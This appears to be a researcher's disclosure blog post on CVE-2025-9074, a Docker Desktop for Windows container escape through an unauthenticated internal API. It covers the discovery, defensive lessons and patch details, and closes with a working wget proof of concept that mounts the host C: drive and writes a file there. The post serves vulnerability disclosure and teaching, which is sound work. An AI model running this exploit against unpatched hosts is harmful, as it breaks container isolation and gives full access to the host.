Sometimes bugs don't need to be that complicated. This is the tale of how I found the Full Docker Escape that was attributed "CVE-2025-9074" and that is now fixed with Docker Desktop patch "4.44.3". Up until that version, a SSRF or a simple web request from any container was enough to full compromise the host. I want to shout out Philippe Dugre from Pvotal Technologies, he's a long time friend and a docker expert so I asked for his input and his help during that research. He was able to replicate a similar issue on Mac and this is why we share the CVE. The link can be found at the end of this blog post.


What Was at Risk?

On unpatched Docker Desktop for Windows, any container could:

  • Connect to http://192.168.65.7:2375/ without authentication
  • Create and start a privileged container
  • Mount the host C: drive into that container
  • Gain full access on the Windows host

The control plane was exposed to the workloads it was supposed to isolate.

How was it found

It was by mistake actually, I did not know much about container separations and its implication. Since I found out a couple of years ago that one of the major VM software lets you poke the localhost interface from any VM in default configuration I have become pretty paranoid. As such, I was scanning my container's environment and while I was at it I was scanning the documented Docker private network that is found in the configurations. This is where I found the exposed docker API port, it is as simple as that.

How the PoC Worked

The entire exploit takes two POST HTTP calls from inside any container:

  1. POST a JSON payload to /containers/create, binding the host C drive to a folder in the container (/mnt/host/c:/host_root) in the container and using a startup Cmd to write or read anything under /host_root on container startup.
  2. POST to /containers/{id}/start to launch the container and start the execution.

That POC would fully work from a SSRF. You technically do not need code execution on the container

Spotting the Gap Sooner

At its core, this vulnerability was a simple oversight, Docker’s internal HTTP API was reachable from any container without authentication or access controls. It’s a stark reminder that critical security gaps often stem from the most basic assumptions. I found this issue by running a quick nmap scan against the Docker’s documented private network. Scanning all private range subnet takes only minutes and might show you that you weren't as isolated as you thought. Always test your network isolation assumptions and do not trust that all security models are alligned by default.

  • Internal interfaces are not inherently secure.
  • Assess every access path and entry points: both external and internal tests and scans are essential.
  • Encourage outside collaboration (for example, via a public or private bug bounty program) to uncover low-hanging fruit before attackers do.

on bug bounty

Sadly there is no bug bounty for docker But it was not some intense research and was found by mistake so that is totally okay I will receive a merch bag in a couple of days though!

Visual approximation of the merch bag contents. Expectations may vary.

Key Lessons

  • Authenticate every control-plane endpoint, even “internal” ones
  • Enforce network segmentation around containers
  • Apply zero-trust principles within your host environment

Wrapping Up

Docker Desktop 4.44.3 ships the fix, no known issues since. It’s a pity there’s no formal bounty program, but the patch arrived swiftly. CVE-2025-9074 is a stark reminder: unauthenticated APIs are a critical risk. No API should ever be exposed without authentication, regardless of network location.

Link to the CVE: https://www.cve.org/CVERecord?id=CVE-2025-9074 Link to the Release Notes: https://docs.docker.com/desktop/release-notes/#4443 Link to Philippe Dugre's article: https://pvotal.tech/breaking-dockers-isolation-using-docker-cve-2025-9074/

Proof.mp4

Click me for proof


POC

The POC can be executed from any container, running "docker run -it alpine '/bin/sh'" in PowerShell will start an alpine container which is perfect for this example.

wget --header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/pwn.txt"],"HostConfig":{"Binds":["/mnt/host/c:/host_root"]}}' \
-O - http://192.168.65.7:2375/containers/create > create.json
cid=$(cut -d'"' -f4 create.json)
wget --post-data='' -O - http://192.168.65.7:2375/containers/$cid/start